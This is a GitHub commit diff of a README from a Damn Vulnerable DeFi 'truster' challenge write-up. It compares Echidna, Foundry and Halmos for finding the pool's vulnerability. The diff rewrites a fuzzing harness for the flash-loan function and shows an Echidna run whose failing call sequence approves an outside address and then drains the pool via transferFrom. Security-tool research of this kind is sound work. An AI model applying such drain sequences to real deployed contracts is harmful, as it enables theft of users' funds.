Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
igorganich authored Nov 10, 2024
1 parent 07f9ac1 commit 5ef7771
Showing 1 changed file with 37 additions and 48 deletions.
85 changes: 37 additions & 48 deletions test/truster/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -727,62 +727,51 @@ Error: Compiler run failed:
Error: Compiler error (/solidity/libsolidity/codegen/LValue.cpp:51):Stack too deep. ...
...
```
But we can
1) Comment out all the calls, except for one function
2) Start fuzzing
3) If it didn't work, comment on the other one and repeat. For example, if we want to check the transfer function as a target - this FRANKENSTEIN changes to something like this:
But we can rewrite it using the same idea. **permit** and **flashLoan** calls are deleted because they are uncallable anyway:
```solidity
// Fuzz flashloan function (less hint)
function __flashLoan(uint256 amount, address borrower,
bool is_token,
/*bool is_approve, address approve_to, uint256 approve_amount,
bool is_permit, address permit_owner, address permit_spender,
uint256 permit_value, uint256 permit_deadline, uint8 permit_v,
bytes32 permit_r, bytes32 permit_s,*/
bool is_transfer, address transfer_to, uint256 transfer_amount/*,
bool is_transferFrom, address transferFrom_from,
address transferFrom_to, uint256 transferFrom_amount*/
)
external
nonReentrant
returns (bool)
bool is_approve, bool is_transfer, bool is_tranferFrom,
address addr_param1, address addr_param2,
uint256 uint256_param1
)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));

token.transfer(borrower, amount);
//target is token
if (is_token) {
/* if (is_approve) {
token.approve(approve_to, approve_amount);
}
else if (is_permit) {
token.permit(permit_owner, permit_spender, permit_value,
permit_deadline, permit_v,
permit_r, permit_s);
}
else */if (is_transfer) {
token.transfer(transfer_to, transfer_amount);
}
/* else if (is_transferFrom) {
token.transferFrom(transferFrom_from, transferFrom_to, transferFrom_amount);
}
*/}
/*
else {
bytes memory data = ""; // The only one function in pool is nonReentrant anyway
address(this).functionCall(data); // Call flashloan itself
}*/
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}
return true;
uint256 balanceBefore = token.balanceOf(address(this));

token.transfer(borrower, amount);
if (is_approve == true) { // token.approve
token.approve(addr_param1, uint256_param1);
}
else if (is_transfer == true) { // token.transfer
token.transfer(addr_param1, uint256_param1);
}
else if (is_tranferFrom == true) { // token.transferFrom
token.transferFrom(addr_param1, addr_param2, uint256_param1);
}
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}
return true;
}
```
I think that's enough :D
Run:
```javascript
$ forge build
...
$ echidna test/truster/TrusterEchidna.sol --contract TrusterEchidna --config test/truster/truster.yaml --test-limit 10000000
...
echidna_testSolved: failed!
Call sequence:
TrusterLenderPool.__flashLoan(0,0x0,true,false,false,0xcafe0002,0x0,40464368538165944492706300802628728086193014206184318198474034)
DamnValuableToken.transferFrom(0x62d69f6867a0a084c6d313943dc22023bc263691,0x0,1)
```
It's alive! Well, with such changes, we managed to make fuzzing produce some kind of acceptable result.
## Conclusions
1. Sometimes, one transaction is not enough for an attack. Symbolically perform 2 transactions in
such tasks generally possible for Halmos.
2. One of the main conditions for successful preparation of the symbolic test is to make sure that the maximum number of paths is covered. If there is a way to simply increase this number, it should be done!
3. If the target contract needs some changes, don't be afraid to make them. The main thing is to understand what we are doing so as not to affect the result.
4. You have to be careful with cryptographic functions, as automatic tools do not handle them well.
5. Fuzzing in Foundry and Echidna showed itself to be very weak with contracts in which there is a call to the transferred target and the corresponding data. It would seem that it should be simple: take the target from the known ones, build calldata from the selector and the necessary parameters and execute. But these tools did not cope with this. Probably, this is the reason why I did not find any solution to this problem using fuzzing on the Internet. Preparing such a contract for fuzzing looks more like a headache. And here Halmos showed itself as a very convenient tool.
5. Fuzzing in Foundry and Echidna showed itself to be very weak with contracts in which there is a call to the transferred target and the corresponding data. It would seem that it should be simple: take the target from the known ones, build calldata from the selector and the necessary parameters and execute. But these tools did not cope with this. Probably, this is the reason why I did not find any solution to this problem using fuzzing on the Internet. Preparing such a contract for fuzzing looks more like a headache. And here Halmos showed itself as a very convenient tool.

0 comments on commit 5ef7771

Please sign in to comment.